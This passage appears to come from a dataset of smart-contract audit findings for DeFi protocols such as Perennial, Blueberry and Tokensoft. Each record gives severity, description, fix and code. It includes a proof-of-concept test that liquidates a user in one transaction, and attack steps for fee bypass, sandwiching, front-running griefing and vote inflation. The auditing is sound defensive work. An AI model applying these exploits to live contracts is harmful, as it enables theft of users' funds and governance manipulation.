```\\nit('panprog liquidate unsuspecting user / self in 1 transaction', async () => {\\n\\n function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n const oracleVersion = {\\n price: parse6decimal(price),\\n timestamp: timestamp,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, nextTimestamp])\\n oracle.request.returns()\\n }\\n\\n var riskParameter = {\\n maintenance: parse6decimal('0.2'),\\n takerFee: parse6decimal('0.00'),\\n takerSkewFee: 0,\\n takerImpactFee: 0,\\n makerFee: parse6decimal('0.00'),\\n makerImpactFee: 0,\\n makerLimit: parse6decimal('1000'),\\n efficiencyLimit: parse6decimal('0.2'),\\n liquidationFee: parse6decimal('0.50'),\\n minLiquidationFee: parse6decimal('10'),\\n maxLiquidationFee: parse6decimal('1000'),\\n utilizationCurve: {\\n minRate: parse6decimal('0.0'),\\n maxRate: parse6decimal('1.00'),\\n targetRate: parse6decimal('0.10'),\\n targetUtilization: parse6decimal('0.50'),\\n },\\n pController: {\\n k: parse6decimal('40000'),\\n max: parse6decimal('1.20'),\\n },\\n minMaintenance: parse6decimal('10'),\\n virtualTaker: parse6decimal('0'),\\n staleAfter: 14400,\\n makerReceiveOnly: false,\\n }\\n var marketParameter = {\\n fundingFee: parse6decimal('0.0'),\\n interestFee: parse6decimal('0.0'),\\n oracleFee: parse6decimal('0.0'),\\n riskFee: parse6decimal('0.0'),\\n positionFee: parse6decimal('0.0'),\\n maxPendingGlobal: 5,\\n maxPendingLocal: 3,\\n settlementFee: parse6decimal('0'),\\n makerRewardRate: parse6decimal('0'),\\n longRewardRate: parse6decimal('0'),\\n shortRewardRate: parse6decimal('0'),\\n makerCloseAlways: false,\\n takerCloseAlways: false,\\n closed: false,\\n }\\n \\n await market.connect(owner).updateRiskParameter(riskParameter);\\n await market.connect(owner).updateParameter(marketParameter);\\n\\n setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n var collateral = parse6decimal('1000')\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, collateral, false)\\n\\n var collateral = parse6decimal('100')\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, collateral, false)\\n\\n // settle\\n setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, 0, false)\\n await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, 0, false)\\n\\n // withdraw\\n var collateral = parse6decimal('800')\\n dsu.transfer.whenCalledWith(userB.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('2.000'), 0, 0, collateral.mul(-1), false)\\n\\n // liquidate unsuspecting user\\n setupOracle('100.01', TIMESTAMP + 150, TIMESTAMP + 200);\\n const EXPECTED_LIQUIDATION_FEE = parse6decimal('100.01')\\n dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n await market.connect(liquidator).update(userB.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n setupOracle('100.01', TIMESTAMP + 200, TIMESTAMP + 300);\\n await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(userB.address);\\n var pos = await market.positions(userB.address);\\n console.log("Liquidated maker: collateral = " + info.collateral + " maker = " + pos.maker);\\n\\n})\\n```\\n
update() wrong privilege control
medium
in `OracleFactory.update()` will call `oracle.update()`\\n```\\ncontract OracleFactory is IOracleFactory, Factory {\\n// rest of code\\n function update(bytes32 id, IOracleProviderFactory factory) external onlyOwner {\\n if (!factories[factory]) revert OracleFactoryNotRegisteredError();\\n if (oracles[id] == IOracleProvider(address(0))) revert OracleFactoryNotCreatedError();\\n\\n IOracleProvider oracleProvider = factory.oracles(id);\\n if (oracleProvider == IOracleProvider(address(0))) revert OracleFactoryInvalidIdError();\\n\\n IOracle oracle = IOracle(address(oracles[id]));\\n oracle.update(oracleProvider);\\n }\\n```\\n\\nBut `oracle.update()` permission is needed for `OracleFactory.owner()` and not `OracleFactory` itself.\\n```\\n function update(IOracleProvider newProvider) external onlyOwner {\\n _updateCurrent(newProvider);\\n _updateLatest(newProvider.latest());\\n }\\n\\n modifier onlyOwner {\\n if (msg.sender != factory().owner()) revert InstanceNotOwnerError(msg.sender);\\n _;\\n }\\n```\\n\\nThis results in `OracleFactory` not being able to do `update()`. Suggest changing the limit of `oracle.update()` to `factory()`.
```\\ncontract Oracle is IOracle, Instance {\\n// rest of code\\n\\n- function update(IOracleProvider newProvider) external onlyOwner {\\n+ function update(IOracleProvider newProvider) external {\\n+ require(msg.sender == factory(),"invalid sender");\\n _updateCurrent(newProvider);\\n _updateLatest(newProvider.latest());\\n }\\n```\\n
`OracleFactory.update()` unable to add `IOracleProvider`
```\\ncontract OracleFactory is IOracleFactory, Factory {\\n// rest of code\\n function update(bytes32 id, IOracleProviderFactory factory) external onlyOwner {\\n if (!factories[factory]) revert OracleFactoryNotRegisteredError();\\n if (oracles[id] == IOracleProvider(address(0))) revert OracleFactoryNotCreatedError();\\n\\n IOracleProvider oracleProvider = factory.oracles(id);\\n if (oracleProvider == IOracleProvider(address(0))) revert OracleFactoryInvalidIdError();\\n\\n IOracle oracle = IOracle(address(oracles[id]));\\n oracle.update(oracleProvider);\\n }\\n```\\n
`_accumulateFunding()` maker will get the wrong amount of funding fee.
medium
The formula that calculates the amount of funding in `Version#_accumulateFunding()` on the maker side is incorrect. This leads to an incorrect distribution of funding between the minor and the maker's side.\\n```\\n// Redirect net portion of minor's side to maker\\nif (fromPosition.long.gt(fromPosition.short)) {\\n fundingValues.fundingMaker = fundingValues.fundingShort.mul(Fixed6Lib.from(fromPosition.skew().abs()));\\n fundingValues.fundingShort = fundingValues.fundingShort.sub(fundingValues.fundingMaker);\\n}\\nif (fromPosition.short.gt(fromPosition.long)) {\\n fundingValues.fundingMaker = fundingValues.fundingLong.mul(Fixed6Lib.from(fromPosition.skew().abs()));\\n fundingValues.fundingLong = fundingValues.fundingLong.sub(fundingValues.fundingMaker);\\n}\\n```\\n\\nPoC\\nGiven:\\nlong/major: 1000\\nshort/minor: 1\\nmaker: 1\\nThen:\\nskew(): 999/1000\\nfundingMaker: 0.999 of the funding\\nfundingShort: 0.001 of the funding\\nWhile the maker only matches for `1` of the major part and contributes to half of the total short side, it takes the entire funding.
The correct formula to calculate the amount of funding belonging to the maker side should be:\\n```\\nfundingMakerRatio = min(maker, major - minor) / min(major, minor + maker)\\nfundingMaker = fundingMakerRatio * fundingMinor\\n```\\n
null
```\\n// Redirect net portion of minor's side to maker\\nif (fromPosition.long.gt(fromPosition.short)) {\\n fundingValues.fundingMaker = fundingValues.fundingShort.mul(Fixed6Lib.from(fromPosition.skew().abs()));\\n fundingValues.fundingShort = fundingValues.fundingShort.sub(fundingValues.fundingMaker);\\n}\\nif (fromPosition.short.gt(fromPosition.long)) {\\n fundingValues.fundingMaker = fundingValues.fundingLong.mul(Fixed6Lib.from(fromPosition.skew().abs()));\\n fundingValues.fundingLong = fundingValues.fundingLong.sub(fundingValues.fundingMaker);\\n}\\n```\\n
CurveTricryptoOracle incorrectly assumes that WETH is always the last token in the pool which leads to bad LP pricing
high
CurveTricryptoOracle.sol#L53-L63\\n```\\n if (tokens.length == 3) {\\n /// tokens[2] is WETH\\n uint256 ethPrice = base.getPrice(tokens[2]);\\n return\\n (lpPrice(\\n virtualPrice,\\n base.getPrice(tokens[1]),\\n ethPrice,\\n base.getPrice(tokens[0])\\n ) * 1e18) / ethPrice;\\n }\\n```\\n\\nWhen calculating LP prices, CurveTricryptoOracle#getPrice always assumes that WETH is the second token in the pool. This isn't the case which will cause the LP to be massively overvalued.\\nThere are 6 tricrypto pools currently deployed on mainnet. Half of these pools have an asset other than WETH as token[2]:\\n```\\n 0x4ebdf703948ddcea3b11f675b4d1fba9d2414a14 - CRV\\n 0x5426178799ee0a0181a89b4f57efddfab49941ec - INV\\n 0x2889302a794da87fbf1d6db415c1492194663d13 - wstETH\\n```\\n
There is no need to assume that WETH is the last token. Simply pull the price for each asset and input it into lpPrice.
LP will be massively overvalued leading to overborrowing and protocol insolvency
```\\n if (tokens.length == 3) {\\n /// tokens[2] is WETH\\n uint256 ethPrice = base.getPrice(tokens[2]);\\n return\\n (lpPrice(\\n virtualPrice,\\n base.getPrice(tokens[1]),\\n ethPrice,\\n base.getPrice(tokens[0])\\n ) * 1e18) / ethPrice;\\n }\\n```\\n
ConvexSpell/CurveSpell.openPositionFarm will revert in some cases
medium
The fix for this issue from this contest is as following:\\n```\\nFile: blueberry-core\\contracts\\spell\\CurveSpell.sol\\n // 2. Borrow specific amounts\\n uint256 borrowBalance = _doBorrow(\\n param.borrowToken,\\n param.borrowAmount\\n );\\n\\n // 3. Add liquidity on curve\\n address borrowToken = param.borrowToken;\\n _ensureApprove(param.borrowToken, pool, borrowBalance);\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n //this 'if' check is the fix from the previous contest\\n110:-> if (tokens[i] == borrowToken) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n break;\\n }\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 3) {\\n```\\n\\nThe key to this issue is that `borrowBalance` may be smaller than `IERC20Upgradeable(borrowToken).balanceOf(address(this))`. For simplicity, assume that CurveSpell supports an lptoken which contains two tokens : A and B.\\nBob transferred 1wei of A and B to the CurveSpell contract. Alice opens a position by calling `BlueBerryBank#execute`, and the flow is as follows:\\nenter `CurveSpell#openPositionFarm`.\\ncall `_doLend` to deposit isolated collaterals.\\ncall `_doBorrow` to borrow 100e18 A token. borrowBalance = 100e18.\\n`A.approve(pool, 100e18)`.\\n`suppliedAmts[0] = A.balance(address(this)) = 100e18+1wei`, `suppliedAmts[1] = 0`.\\ncall `ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint)`, then revert because the approved amount is not enough.\\nTherefore, no one can successfully open a position.\\nOf course, bob can also transfer 1wei of `borrowToken` to contract by front-running `openPositionFarm` for a specific user or all users.
The following fix is for CurveSpell, but please don't forget ConvexSpell.\\nTwo ways for fix it:\\n```\\n--- a/blueberry-core/contracts/spell/CurveSpell.sol\\n+++ b/blueberry-core/contracts/spell/CurveSpell.sol\\n@@ -108,9 +108,7 @@ contract CurveSpell is BasicSpell {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n if (tokens[i] == borrowToken) {\\n- suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n- address(this)\\n- );\\n+ suppliedAmts[i] = borrowBalance;\\n break;\\n }\\n }\\n@@ -119,9 +117,7 @@ contract CurveSpell is BasicSpell {\\n uint256[3] memory suppliedAmts;\\n for (uint256 i = 0; i < 3; i++) {\\n if (tokens[i] == borrowToken) {\\n- suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n- address(this)\\n- );\\n+ suppliedAmts[i] = borrowBalance;\\n break;\\n }\\n }\\n@@ -130,9 +126,7 @@ contract CurveSpell is BasicSpell {\\n uint256[4] memory suppliedAmts;\\n for (uint256 i = 0; i < 4; i++) {\\n if (tokens[i] == borrowToken) {\\n- suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n- address(this)\\n- );\\n+ suppliedAmts[i] = borrowBalance;\\n break;\\n }\\n }\\n```\\n\\n```\\n--- a/blueberry-core/contracts/spell/CurveSpell.sol\\n+++ b/blueberry-core/contracts/spell/CurveSpell.sol\\n@@ -103,7 +103,8 @@ contract CurveSpell is BasicSpell {\\n\\n // 3. Add liquidity on curve\\n address borrowToken = param.borrowToken;\\n- _ensureApprove(param.borrowToken, pool, borrowBalance);\\n+ require(borrowBalance <= IERC20Upgradeable(borrowToken).balanceOf(address(this)), "impossible");\\n+ _ensureApprove(param.borrowToken, pool, IERC20Upgradeable(borrowToken).balanceOf(address(this)));\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n```\\n
`ConvexSpell/CurveSpell.openPositionFarm` will revert due to this issue.
```\\nFile: blueberry-core\\contracts\\spell\\CurveSpell.sol\\n // 2. Borrow specific amounts\\n uint256 borrowBalance = _doBorrow(\\n param.borrowToken,\\n param.borrowAmount\\n );\\n\\n // 3. Add liquidity on curve\\n address borrowToken = param.borrowToken;\\n _ensureApprove(param.borrowToken, pool, borrowBalance);\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n //this 'if' check is the fix from the previous contest\\n110:-> if (tokens[i] == borrowToken) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n break;\\n }\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 3) {\\n```\\n
Mainnet oracles are incompatible with wstETH causing many popular yields strategies to be broken
medium
ChainlinkAdapterOracle.sol#L111-L125\\n```\\n uint256 decimals = registry.decimals(token, USD);\\n (\\n uint80 roundID,\\n int256 answer,\\n ,\\n uint256 updatedAt,\\n uint80 answeredInRound\\n ) = registry.latestRoundData(token, USD);\\n if (updatedAt < block.timestamp - maxDelayTime)\\n revert Errors.PRICE_OUTDATED(token_);\\n if (answer <= 0) revert Errors.PRICE_NEGATIVE(token_);\\n if (answeredInRound < roundID) revert Errors.PRICE_OUTDATED(token_);\\n\\n return\\n (answer.toUint256() * Constants.PRICE_PRECISION) / 10 ** decimals;\\n```\\n\\nChainlinkAdapterOracle only supports single asset price data. This makes it completely incompatible with wstETH because chainlink doesn't have a wstETH oracle on mainnet. Additionally Band protocol doesn't offer a wstETH oracle either. This only leaves Uniswap oracles which are highly dangerous given their low liquidity.
Create a special bypass specifically for wstETH utilizing the stETH oracle and it's current exchange rate.
Mainnet oracles are incompatible with wstETH causing many popular yields strategies to be broken
```\\n uint256 decimals = registry.decimals(token, USD);\\n (\\n uint80 roundID,\\n int256 answer,\\n ,\\n uint256 updatedAt,\\n uint80 answeredInRound\\n ) = registry.latestRoundData(token, USD);\\n if (updatedAt < block.timestamp - maxDelayTime)\\n revert Errors.PRICE_OUTDATED(token_);\\n if (answer <= 0) revert Errors.PRICE_NEGATIVE(token_);\\n if (answeredInRound < roundID) revert Errors.PRICE_OUTDATED(token_);\\n\\n return\\n (answer.toUint256() * Constants.PRICE_PRECISION) / 10 ** decimals;\\n```\\n
AuraSpell#closePositionFarm exits pool with single token and without any slippage protection
medium
AuraSpell.sol#L221-L236\\n```\\n (\\n uint256[] memory minAmountsOut,\\n address[] memory tokens,\\n uint256 borrowTokenIndex\\n ) = _getExitPoolParams(param.borrowToken, lpToken);\\n\\n wAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(\\n tokens,\\n minAmountsOut,\\n abi.encode(0, amountPosRemove, borrowTokenIndex),\\n false\\n )\\n```\\n\\nWhen exiting a the balancer vault, closePositionFarm makes a subcall to _getExitPoolParams which is used to set minAmountsOut.\\nAuraSpell.sol#L358-L361\\n```\\n (address[] memory tokens, , ) = wAuraPools.getPoolTokens(lpToken);\\n\\n uint256 length = tokens.length;\\n uint256[] memory minAmountsOut = new uint256[](length);\\n```\\n\\nInside _getExitPoolParams we see that minAmountsOut are always an empty array. This means that the user has no slippage protection and can be sandwich attacked, suffering massive losses.
Allow user to specify min amount received from exit
Exits can be sandwich attacked causing massive loss to the user
```\\n (\\n uint256[] memory minAmountsOut,\\n address[] memory tokens,\\n uint256 borrowTokenIndex\\n ) = _getExitPoolParams(param.borrowToken, lpToken);\\n\\n wAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(\\n tokens,\\n minAmountsOut,\\n abi.encode(0, amountPosRemove, borrowTokenIndex),\\n false\\n )\\n```\\n
AuraSpell#closePositionFarm will take reward fees on underlying tokens when borrow token is also a reward
medium
AuraSpell.sol#L227-L247\\n```\\n wAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(\\n tokens,\\n minAmountsOut,\\n abi.encode(0, amountPosRemove, borrowTokenIndex),\\n false\\n )\\n );\\n }\\n }\\n\\n /// 4. Swap each reward token for the debt token\\n uint256 rewardTokensLength = rewardTokens.length;\\n for (uint256 i; i != rewardTokensLength; ) {\\n address sellToken = rewardTokens[i];\\n if (sellToken == STASH_AURA) sellToken = AURA;\\n\\n _doCutRewardsFee(sellToken);\\n```\\n\\nWe can see above that closePositionFarm redeems the BLP before it takes the reward cut. This can cause serious issues. If there is any overlap between the reward tokens and the borrow token then _doCutRewardsFee will take a cut of the underlying liquidity. This causes loss to the user as too many fees are taken from them.
Use the same order as ConvexSpell and sell rewards BEFORE burning BLP
User will lose funds due to incorrect fees
```\\n wAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(\\n tokens,\\n minAmountsOut,\\n abi.encode(0, amountPosRemove, borrowTokenIndex),\\n false\\n )\\n );\\n }\\n }\\n\\n /// 4. Swap each reward token for the debt token\\n uint256 rewardTokensLength = rewardTokens.length;\\n for (uint256 i; i != rewardTokensLength; ) {\\n address sellToken = rewardTokens[i];\\n if (sellToken == STASH_AURA) sellToken = AURA;\\n\\n _doCutRewardsFee(sellToken);\\n```\\n
Adversary can abuse hanging approvals left by PSwapLib.swap to bypass reward fees
medium
AuraSpell.sol#L247-L257\\n```\\n _doCutRewardsFee(sellToken);\\n if (\\n expectedRewards[i] != 0 &&\\n !PSwapLib.swap(\\n augustusSwapper,\\n tokenTransferProxy,\\n sellToken,\\n expectedRewards[i],\\n swapDatas[i]\\n )\\n ) revert Errors.SWAP_FAILED(sellToken);\\n```\\n\\nAuraSpell#closePositionFarm allows the user to specify any expectedRewards they wish. This allows the user to approve any amount, even if the amount is much larger than they would otherwise use. The can abuse these hanging approvals to swap tokens out of order and avoid paying reward fees.\\nExample: Assume there are two rewards, token A and token B. Over time a user's position accumulates 100 rewards for each token. Normally the user would have to pay fees on those rewards. However they can bypass it by first creating hanging approvals. The user would start by redeeming a very small amount of LP and setting expectedRewards to uint256.max. They wouldn't sell the small amount leaving a very large approval left for both tokens. Now the user withdraws the rest of their position. This time they specify the swap data to swap token B first. The user still has to pay fees on token A but now they have traded token B before any fees can be taken on it.
After the swap reset allowances to 0
User can bypass reward fees
```\\n _doCutRewardsFee(sellToken);\\n if (\\n expectedRewards[i] != 0 &&\\n !PSwapLib.swap(\\n augustusSwapper,\\n tokenTransferProxy,\\n sellToken,\\n expectedRewards[i],\\n swapDatas[i]\\n )\\n ) revert Errors.SWAP_FAILED(sellToken);\\n```\\n
ConvexSpell is completely broken for any curve LP that utilizes native ETH
medium
ConvexSpell.sol#L120-L127\\n```\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i; i != 2; ++i) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n```\\n\\nConvexSpell#openPositionFarm attempts to call balanceOf on each component of the LP. Since native ETH uses the `0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee` this call will always revert. This breaks compatibility with EVERY curve pool that uses native ETH which make most of the highest volume pools on the platfrom.
I would recommend conversion between native ETH and wETH to prevent this issue.
ConvexSpell is completely incompatible with a majority of Curve pools
```\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i; i != 2; ++i) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n```\\n
WAuraPools doesn't correctly account for AuraStash causing all deposits to be permanently lost
medium
WAuraPools.sol#L413-L418\\n```\\n uint256 rewardTokensLength = rewardTokens.length;\\n for (uint256 i; i != rewardTokensLength; ) {\\n IERC20Upgradeable(rewardTokens[i]).safeTransfer(\\n msg.sender,\\n rewards[i]\\n );\\n```\\n\\nWhen burning the wrapped LP token, it attempts to transfer each token to msg.sender. The problem is that stash AURA cannot be transferred like an regular ERC20 token and any transfers will revert. Since this will be called on every attempted withdraw, all deposits will be permanently unrecoverable.
Check if reward is stash AURA and send regular AURA instead similar to what is done in AuraSpell.
All deposits will be permanently unrecoverable
```\\n uint256 rewardTokensLength = rewardTokens.length;\\n for (uint256 i; i != rewardTokensLength; ) {\\n IERC20Upgradeable(rewardTokens[i]).safeTransfer(\\n msg.sender,\\n rewards[i]\\n );\\n```\\n
AuraSpell `openPositionFarm` will revert when the tokens contains `lpToken`
medium
In AuraSpell, the `openPositionFarm` will call `joinPool` in Balancer's vault. But when analyzing the `JoinPoolRequest` struct, we see issue on `maxAmountsIn` and `amountsIn` which can be in different length, thus this will be reverted since in Balancer's vault, this two array should be in the same length.\\n```\\nFile: AuraSpell.sol\\n function openPositionFarm(\\n OpenPosParam calldata param,\\n uint256 minimumBPT\\n )\\n// rest of code\\n {\\n// rest of code\\n /// 3. Add liquidity to the Balancer pool and receive BPT in return.\\n {\\n// rest of code\\n if (poolAmountOut != 0) {\\n vault.joinPool(\\n wAuraPools.getBPTPoolId(lpToken),\\n address(this),\\n address(this),\\n IBalancerVault.JoinPoolRequest({\\n assets: tokens,\\n maxAmountsIn: maxAmountsIn,\\n userData: abi.encode(1, amountsIn, _minimumBPT),\\n fromInternalBalance: false\\n })\\n );\\n }\\n }\\n// rest of code\\n }\\n// rest of code\\n function _getJoinPoolParamsAndApprove(\\n address vault,\\n address[] memory tokens,\\n uint256[] memory balances,\\n address lpToken\\n ) internal returns (uint256[] memory, uint256[] memory, uint256) {\\n// rest of code\\n uint256 length = tokens.length;\\n uint256[] memory maxAmountsIn = new uint256[](length);\\n uint256[] memory amountsIn = new uint256[](length);\\n bool isLPIncluded;\\n for (i; i != length; ) {\\n if (tokens[i] != lpToken) {\\n amountsIn[j] = IERC20(tokens[i]).balanceOf(address(this));\\n if (amountsIn[j] > 0) {\\n _ensureApprove(tokens[i], vault, amountsIn[j]);\\n }\\n ++j;\\n } else isLPIncluded = true;\\n maxAmountsIn[i] = IERC20(tokens[i]).balanceOf(address(this));\\n unchecked {\\n ++i;\\n }\\n }\\n if (isLPIncluded) {\\n assembly {\\n mstore(amountsIn, sub(mload(amountsIn), 1))\\n }\\n }\\n// rest of code\\n return (maxAmountsIn, amountsIn, poolAmountOut);\\n }\\n```\\n\\nthese `maxAmountsIn` and `amountsIn` are coming from `_getJoinPoolParamsAndApprove`. And by seeing the function, we can see that there is possible issue when the `tokens[i] == lpToken`.\\nWhen `tokens[i] == lpToken`, the flag `isLPIncluded` will be true. And will enter this block,\\n```\\n if (isLPIncluded) {\\n assembly {\\n mstore(amountsIn, sub(mload(amountsIn), 1))\\n }\\n }\\n```\\n\\nthis will decrease the `amountsIn` length. Thus, `amountsIn` and `maxAmountsIn` will be in different length.\\nIn Balancer's `JoinPoolRequest` struct, the `maxAmountsIn`, and `userData` second decoded bytes (amountsIn) should be the same array length, because it will be checked in Balancer.\\n```\\n IBalancerVault.JoinPoolRequest({\\n assets: tokens,\\n maxAmountsIn: maxAmountsIn,\\n userData: abi.encode(1, amountsIn, _minimumBPT),\\n fromInternalBalance: false\\n })\\n```\\n\\nTherefore, in this situation, it will be reverted.
Issue AuraSpell `openPositionFarm` will revert when the tokens contains `lpToken`\\nRemove the assembly code where it will decrease the `amountsIn` length when `isLPIncluded` is true to make sure the array length are same.
User can't open position on AuraSpell when `tokens` contains `lpToken`
```\\nFile: AuraSpell.sol\\n function openPositionFarm(\\n OpenPosParam calldata param,\\n uint256 minimumBPT\\n )\\n// rest of code\\n {\\n// rest of code\\n /// 3. Add liquidity to the Balancer pool and receive BPT in return.\\n {\\n// rest of code\\n if (poolAmountOut != 0) {\\n vault.joinPool(\\n wAuraPools.getBPTPoolId(lpToken),\\n address(this),\\n address(this),\\n IBalancerVault.JoinPoolRequest({\\n assets: tokens,\\n maxAmountsIn: maxAmountsIn,\\n userData: abi.encode(1, amountsIn, _minimumBPT),\\n fromInternalBalance: false\\n })\\n );\\n }\\n }\\n// rest of code\\n }\\n// rest of code\\n function _getJoinPoolParamsAndApprove(\\n address vault,\\n address[] memory tokens,\\n uint256[] memory balances,\\n address lpToken\\n ) internal returns (uint256[] memory, uint256[] memory, uint256) {\\n// rest of code\\n uint256 length = tokens.length;\\n uint256[] memory maxAmountsIn = new uint256[](length);\\n uint256[] memory amountsIn = new uint256[](length);\\n bool isLPIncluded;\\n for (i; i != length; ) {\\n if (tokens[i] != lpToken) {\\n amountsIn[j] = IERC20(tokens[i]).balanceOf(address(this));\\n if (amountsIn[j] > 0) {\\n _ensureApprove(tokens[i], vault, amountsIn[j]);\\n }\\n ++j;\\n } else isLPIncluded = true;\\n maxAmountsIn[i] = IERC20(tokens[i]).balanceOf(address(this));\\n unchecked {\\n ++i;\\n }\\n }\\n if (isLPIncluded) {\\n assembly {\\n mstore(amountsIn, sub(mload(amountsIn), 1))\\n }\\n }\\n// rest of code\\n return (maxAmountsIn, amountsIn, poolAmountOut);\\n }\\n```\\n
"Votes" balance can be increased indefinitely in multiple contracts
high
The "voting power" can be easily manipulated in the following contracts:\\n`ContinuousVestingMerkle`\\n`PriceTierVestingMerkle`\\n`PriceTierVestingSale_2_0`\\n`TrancheVestingMerkle`\\n`CrosschainMerkleDistributor`\\n`CrosschainContinuousVestingMerkle`\\n`CrosschainTrancheVestingMerkle`\\nAll the contracts inheriting from the contracts listed above\\nThis is caused by the public `initializeDistributionRecord()` function that can be recalled multiple times without any kind of access control:\\n```\\n function initializeDistributionRecord(\\n uint32 _domain, // the domain of the beneficiary\\n address _beneficiary, // the address that will receive tokens\\n uint256 _amount, // the total claimable by this beneficiary\\n bytes32[] calldata merkleProof\\n ) external validMerkleProof(_getLeaf(_beneficiary, _amount, _domain), merkleProof) {\\n _initializeDistributionRecord(_beneficiary, _amount);\\n }\\n```\\n\\nThe `AdvancedDistributor` abstract contract which inherits from the `ERC20Votes`, `ERC20Permit` and `ERC20` contracts, distributes tokens to beneficiaries with voting-while-vesting and administrative controls. Basically, before the tokens are vested/claimed by a certain group of users, these users can use these `ERC20` tokens to vote. These tokens are minted through the `_initializeDistributionRecord()` function:\\n```\\n function _initializeDistributionRecord(\\n address beneficiary,\\n uint256 totalAmount\\n ) internal virtual override {\\n super._initializeDistributionRecord(beneficiary, totalAmount);\\n\\n // add voting power through ERC20Votes extension\\n _mint(beneficiary, tokensToVotes(totalAmount));\\n }\\n```\\n\\nAs mentioned in the Tokensoft Discord channel these ERC20 tokens minted are used to track an address's unvested token balance, so that other projects can utilize 'voting while vesting'.\\nA user can simply call as many times as he wishes the `initializeDistributionRecord()` function with a valid merkle proof. With each call, the `totalAmount` of tokens will be minted. Then, the user simply can call `delegate()` and delegate those votes to himself, "recording" the inflated voting power.
Only allow users to call once the `initializeDistributionRecord()` function. Consider using a mapping to store if the function was called previously or not. Keep also in mind that fully vested and claimed users should not be able to call this function and if they do, the total amount of tokens that should be minted should be 0 or proportional/related to the amount of tokens that they have already claimed.
The issue totally breaks the 'voting while vesting' design. Any DAO/project using these contracts to determine their voting power could be easily manipulated/exploited.
```\\n function initializeDistributionRecord(\\n uint32 _domain, // the domain of the beneficiary\\n address _beneficiary, // the address that will receive tokens\\n uint256 _amount, // the total claimable by this beneficiary\\n bytes32[] calldata merkleProof\\n ) external validMerkleProof(_getLeaf(_beneficiary, _amount, _domain), merkleProof) {\\n _initializeDistributionRecord(_beneficiary, _amount);\\n }\\n```\\n
`SafeERC20.safeApprove` reverts for changing existing approvals
medium
`SafeERC20.safeApprove` reverts when a non-zero approval is changed to a non-zero approval. The `CrosschainDistributor._setTotal` function tries to change an existing approval to a non-zero value which will revert.\\nThe safeApprove function has explicit warning:\\n```\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n```\\n\\nBut still the `_setTotal` use it to change approval amount:\\n```\\n function _allowConnext(uint256 amount) internal {\\n token.safeApprove(address(connext), amount);\\n }\\n\\n /** Reset Connext allowance when total is updated */\\n function _setTotal(uint256 _total) internal virtual override onlyOwner {\\n super._setTotal(_total);\\n _allowConnext(total - claimed);\\n }\\n```\\n
Consider using 'safeIncreaseAllowance' and 'safeDecreaseAllowance' instead of `safeApprove` in `_setTotal`.
Due to this bug all calls to `setTotal` function of `CrosschainContinuousVestingMerkle` and `CrosschainTrancheVestingMerkle` will get reverted.\\nTokensoft airdrop protocol is meant to be used by other protocols and the ability to change `total` parameter is an intended offering. This feature will be important for those external protocols due to the different nature & requirement of every airdrop. But this feature will not be usable by airdrop owners due to the incorrect code implementation.
```\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n```\\n
CrosschainDistributor: Not paying relayer fee when calling xcall to claim tokens to other domains
medium
